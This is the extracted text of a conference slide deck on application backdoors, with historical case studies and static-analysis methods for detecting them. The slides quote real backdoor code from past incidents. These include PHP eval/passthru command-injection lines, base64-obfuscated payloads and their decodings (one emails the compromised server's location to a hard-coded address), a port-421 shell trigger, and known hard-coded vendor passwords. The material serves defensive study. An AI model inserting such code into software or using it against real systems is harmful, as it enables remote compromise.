Backdoors and other Developer Introduced 'Features'.ppt

1、Backdoors and other Developer Introduced Features,Chris Wysopal Founder & CTO, Veracode 781-425-6040 x223,Introduction,Chris Wysopal CTO and Co-Founder, Veracode Inc. Previously Symantec, stake, L0pht, BBN Co-author of L0phtCrack, author of Netcat for Windows Lead author of “The Art of Software Sec

2、urity Testing”,Contents,Background Backdoor Mechanisms (characteristics, examples, detection) Special Credentials Hidden Functionality Unintended Network Activity Manipulation of Security-Critical Parameters Additional Detection Techniques Malicious Code and Other Vulnerabilities Conclusion / Questi

3、ons,Background,Wargames (1983),Backdoors Are Not Secrets!,Types of Backdoors,Crypto backdoors Designed weakness for a particular key or message System backdoors Malware written to compromise a system (i.e. the application itself is the backdoor) Sometimes relies on social engineering for initial exe

4、cution Application backdoors the focus of this talk Modifications to legitimate programs designed to bypass security mechanisms (i.e. applications that would already be running) Often inserted by those who have legitimate access to source code or distribution binaries Can result in system compromise

5、 as well Not specific to any particular programming language,How Prevalent is the problem,Select 100 COTS/open source applications packages randomly Packages with dead code 79 packages Packages with unwanted code (backdoors, etc.) 23 packages Packages with suspicious behaviors 89 packages Packages w

6、ith possible malicious code 76 packages Known worms, Trojans, rootkits, etc. 21 packages Possible worms, Trojans, rootkits, etc. 69 packagesSource: Reifer Consultants presentation at Oct 2007 DHS SwA Forum,Targets of Application Backdoors,Web applications Server applications Network appliances Opera

7、ting systems,Attacker Motivation,Practical method of compromise for many systems Let the users install your backdoor on systems you have no access to Looks like legitimate software so can bypass AV Retrieve and manipulate valuable private data Looks like legitimate application traffic so little risk

8、 of detection by IDS Because you can,Current State of Detection,Application backdoors best detected by inspecting the source or binary code of the program Application backdoor scanning is imperfect Impossible to programmatically determine the intent of application logic Backdoors in source may be de

9、tected quickly but backdoors in binaries often take years to surface Linux backdoor attempt vs. Borland Interbase Most security code reviews focus on finding vulnerabilities with little emphasis on backdoors This talk focuses solely on static detection methods,Special Credentials,Characteristics,Spe

10、cial credentials, usually hard-coded, which circumvent security checks Usernames Passwords Secret hash or key,The Keymaker from “The Matrix Reloaded” He is able to make keys that get him into secret areas of the Matrix.,Borland Interbase 4.0, 5.0, 6.0 (2001),Hard-coded username “politically” with th

11、e password “correct” allowed remote access Credentials inserted into the database at startup Support for user-defined functions equates to administrative access on the server Undetected for over seven years Opening the source revealed the backdoor,Borland Interbase (contd),dpb = dpb_string; *dpb+ =

12、gds_dpb_version1; *dpb+ = gds_dpb_user_name; *dpb+ = strlen (LOCKSMITH_USER); q = LOCKSMITH_USER; while (*q)*dpb+ = *q+;*dpb+ = gds_dpb_password_enc; strcpy (password_enc, (char *)ENC_crypt (LOCKSMITH_PASSWORD,PASSWORD_SALT); q = password_enc + 2; *dpb+ = strlen (q); while (*q)*dpb+ = *q+;dpb_length

13、 = dpb - dpb_string;isc_attach_database (status_vector, 0, GDS_VAL(name), ,Intel NetStructure 7110 SSL Accelerator (2000),Administrator password overridden by an undocumented shell password known as “wizard” mode Shell password derived from MAC address of primary Ethernet interface Results in root p

14、rivileges on the appliance,Cart32 Shopping Cart 2.6, 3.0 (2001),Undocumented functionality accessible using hard-coded password “wemilo” One URL provided a list of all shops on the server along with their passwords, which could be used to execute arbitrary commands on the server A second URL provide

15、d a way to change the administrative password without knowledge of the current password Backdoor or lazy developer? Undetected for over five years,APC SmartSlot Management Card (2004),Management card installed by default in many of APCs SmartSwitch and UPS products Bypass authentication to console o

16、r Telnet interfaces by providing any username with the password “TENmanUFactOryPOWER” Allowed memory dump of EEPROM which contained unencrypted usernames and passwords on the device,Detection,Identify static variables that look like usernames or passwords Start with all static strings using the ASCI

17、I character set Focus on string comparisons as opposed to assignments or placeholders Also inspect known crypto API calls where these strings are passed in as plaintext dataIdentify static variables that look like hashes Start with all static strings using the character set 0-9A-Fa-f Narrow down to

18、strings that correspond to lengths of known hash algorithms such as MD5 (128 bits) or SHA1 (160 bits) Focus on string comparisons as opposed to assignments or placeholders Examine cross-references to these strings,Detection (contd),Identify static variables that look like cryptographic keys Start wi

19、th all static character arrays declared or dynamically allocated to a valid key length Also identify static character arrays that are a multiple of a valid key length, which could be a key table Narrow down to known crypto API calls where these arrays are passed in as the key parameter, for example:

20、 OpenSSL: DES_set_key(const_DES_cblock *key, DES_key_schedule *schedule) BSAFE: B_SetKeyInfo(B_KEY_OBJ keyObject, B_INFO_TYPE infoType, POINTER info ) Perform a statistical test for randomness on static variables Data exhibiting high entropy is likely encrypted data and should be inspected further,H

21、idden Functionality,Characteristics,Invisible parameters in web applications not to be confused with hidden form fields Undocumented commands Leftover debug code e.g. WIZ command in early sendmail May be combined with “special” IP addresses,Number Six, a Cylon Agent, from Battlestar Galactica In exc

22、hange for access to government mainframes she helps design the navigation program subsequently used by Colonial warships, covertly creating backdoors in the program.,WordPress 2.1.1 (2007),One of two WordPress download servers compromised Two PHP files modified to allow remote command injection Dete

23、cted within one week,function comment_text_phpfilter($filterdata) eval($filterdata); . if ($_GET“ix“) comment_text_phpfilter($_GET“ix“); function get_theme_mcommand($mcds) passthru($mcds); . if ($_GET“iz“) get_theme_mcommand($_GET“iz“); ,Artmedic CMS 3.4 (2007),Multiple source files altered to allow

24、 remote command injection or arbitrary PHP includes Attempt at obfuscation Detected within two weeks,$print = aWYoJF9HRVRbJ2luY2x1ZGUnXSkgaW5jbHVkZSgkX0dFVFsnaW5jbHVkZSddKTsNCmlmKCRfR0VUWydjbWQnXSkgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsNCmlmKCRfR0VUWydwaHAnXSkgZXZhbCgkX0dFVFsncGhwJ10pOw=; eval(base64_decod

25、e($print);,which decodes to:if($_GETinclude) include($_GETinclude); if($_GETcmd) passthru($_GETcmd); if($_GETphp) eval($_GETphp);,Quake Server (1998),RCON command on Quake server allows administrators to remotely send commands to the Quake console with a password Bypass authentication using hard-cod

26、ed password “tms” Packet source address in the 192.246.40.x subnet Affected Quake 1, QuakeWorld, and Quake 2 Win32/Linux/Solaris,TCP Wrappers 7.6 (1999),Provides access to a privileged shell when a client connects from source port 421 Detected and patched within 12 hours,char IDENT=“NC421n“; char SR

27、UN=“-csh“; char SPATH=“/bin/csh“; #define PORT 421 . struct sockaddr_in from; char pathMAXPATHNAMELEN; int fromlen;fromlen = sizeof(from);if (getpeername(0,(struct sockaddr*),Courtesy of The Daily WTF,An authentication backdoor in a web application, using an invisible parameter,authTicket = identMgm

28、t.GetAuthenticationTicket(username, password); if (authTicket = null) if (request.getParameter(“backdoor“) != null ,Detection,Recognize common patterns in scripting languages, e.g.: Create an obfuscated string Input into deobfuscation function (commonly Base64) Call eval() on the result of the deobf

29、uscation Payload code allows command execution, auth bypass, etc. http:/ GET or POST parameters parsed by web applications Compare to form fields in HTML, JSP, etc. pages to find fields that only appear on the server side,Detection (contd),Identify potential OS command injection vectors In C, calls

30、to the exec() family, system(), popen(), etc. In PHP, standard code review techniques such as looking for popen(), system(), exec(), shell_exec(), passthru(), eval(), backticks, etc. Also, calls to fopen(), include() or require() Analyze data flow to check for tainted parametersIdentify static varia

31、bles that look like application commands Start with all static strings using the ASCII character set (depending on the protocol, hidden commands might not be human-readable text) Focus on string comparisons as opposed to assignments or placeholders Check the main command processing loop(s) to see if

32、 it uses direct comparisons or reads from a data structure containing valid commands,Detection (contd),Identify comparisons with specific IP addresses or DNS names In C, start with all calls to socket API functions such as getpeername(), gethostbyname(), and gethostbyaddr() Comparisons against the r

33、esults of these functions are suspicious Dont forget to look at ports as well,Unintended Network Activity,Characteristics,Listens on an undocumented port Makes outbound connections Leaks information over the network Reads from registry, files, or other local resources Sends data out via SMTP, HTTP,

34、UDP, ICMP, or other protocols Potentially combined with rootkit behavior to hide the network activity from host-based IDS,In the movie, Konstantin Konali markets a computer game that everyone in the world is playing. With a sequel to the game he wants to put backdoors in all computer systems on whic

35、h it gets installed, thus providing access to the police and other government systems.,OpenSSH 3.2.2, 3.4, 3.4p1 (2002),File bf-test.c added, masquerading as a test case for Blowfish on HP-UX PL.2 When compiled and run, generates a shell script that creates conftest.c Creates a command and control c

36、hannel with a remote server on port 6667 (normally used for IRC) Takes an action based on the command received A : Kills itself D : Uses dup2() to spawn interactive shell over the existing socket M : Sleeps for an hour Detected within two days Delivery mechanism was an application but borders on bei

37、ng a system backdoor,static unsigned char ecb_data=0x0c,0x0e,0x00,0x4d,0x46,0x41,0x00,0x5c,0x47,0x25,0x4c,0x4e,0x5b,0x0f,0x11,0x4c,0x40,0x41,0x49,0x5b,0x4a,0x5c,0x5b,0x01,0x4c,0x0f,0x13,0x13,0x70,0x6e,0x6c,0x6a,0x60,0x69,0x25,0x0c,0x46,0x41,0x4c,0x43,0x5a,0x4b,0x4a,0x0f,0x13,0x5c,0x5b,0x4b,0x46,0x40

38、,0x01,0x47,0x11,0x0f,0x25,0x0c,0x46,0x41,0x4c,0x43,0x5a,0x4b,0x4a,0x0f,0x13,0x5c,0x56,0x5c,0x00,0x5b,0x56,0x5f,0x4a,0x5c,0x01,0x47,0x11,. printf(“# testing in raw ecb moden“); n=0; if (memcmp( ,OpenSSH (contd) from bftest.c,libpcap 0.7.1 and tcpdump 3.6.2, 3.7.1 (2002),Both the configure script and

39、gencode.c modified Configure script downloads trojaned services file which creates a file conftest.c and compiles it (this looks familiar) Creates a command and control channel with a remote server on port 1963 Takes an action based on the command received A : Kills itself D : Uses dup2() to spawn i

40、nteractive shell over the existing socket M : Sleeps for an hour Modification to gencode.c in tcpdump filters out traffic on the command and control channel to hide its activity,int l; char *port = “1963“; char *str, *tmp, *new = “not port 1963“;if (buf ,libpcap and tcpdump (contd) from gencode.c,Et

41、omite CMS 0.6 (2006),PHP file modified to allow remote command injection Also sends a beacon via e-mail to a hard-coded e-mail address with the location of the compromised server Base64 encoding strikes again,Etomite CMS (contd),eval(base64_decode(“JGhhbmRsZT1wb3BlbigkX0dFVFtjaWpdLiIgMj4mMSIsInIiKTt

42、3aGlsZSghZmVvZigkaGFuZGxlKSl7JGxpbmU9ZmdldHMoJGhhbmRsZSk7aWYoc3RybGVuKCRsaW5lKT49MSl7ZWNobyAkbGluZTt9fXBjbG9zZSgkaGFuZGxlKTttYWlsKCJjaWpmZXJAbmV0dGkuZmkiLCIiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLCJFcnJvciBDb2RlICM3MjA5MzgiKTs=“);which decodes to:$handle=popen($_GETcij.“ 2,Dete

43、ction,Identify outbound connections In C, start with all calls to socket API functions such as connect(), sendto(), or Win32 API equivalents Focus on any outbound connections to hard-coded IP addresses or ports Analyze data flow to determine what type of information is being sent out Look for calls

44、to standard file I/O or registry functions some other piece of the backdoor could be populating the data in that location Scripting languages such as PHP also have special function calls implementing protocols such as SMTP via the mail() function Keep in mind that many applications automatically che

45、ck the manufacturer website for updates,Detection (contd),Identify potential leaks of sensitive information Start with all calls to known crypto API functions Narrow down to the functions that handle sensitive data such as encryption keys, plaintext data to be encrypted, etc. Note the variable refer

46、ences that correspond to the sensitive data Analyze data flow to identify other places these variables are used, outside of the expected set of “safe” functions, such as: Other crypto API calls strlen(), bzero(), memset(), etc.,Detection (contd),Identify unauthorized listeners In C, start with all c

47、alls to socket API functions such as bind(), recvfrom(), or Win32 API equivalents Some knowledge of normal application traffic will be required to determine which ports, if any, are unauthorized listenersProfile binaries by examining import tables Identify anomalies, such as the use of network APIs

48、by a desktop-only application Unix: readelf, objdump, nm Win32: PEDump (console), PEBrowse (GUI) Dig in deeper with a disassembler and trace code paths to the anomalous API calls,Manipulation of Security-Critical Parameters,Characteristics,Directly manipulate variables or parameters that have securi

49、ty implications Manipulate comparisons of security-critical values Possible targets in operating system code Privilege levels of users or processes Protection bits on memory pages Scheduling priorities Possible targets in application code Authentication functions Authorization functions,Linux Kernel 2.6-test (2003),Attempted backdoor insertion via direct modification of the Linux kernel CVS tree Modified sys_wait4() function in kernel/exit.c to allow local root compromise,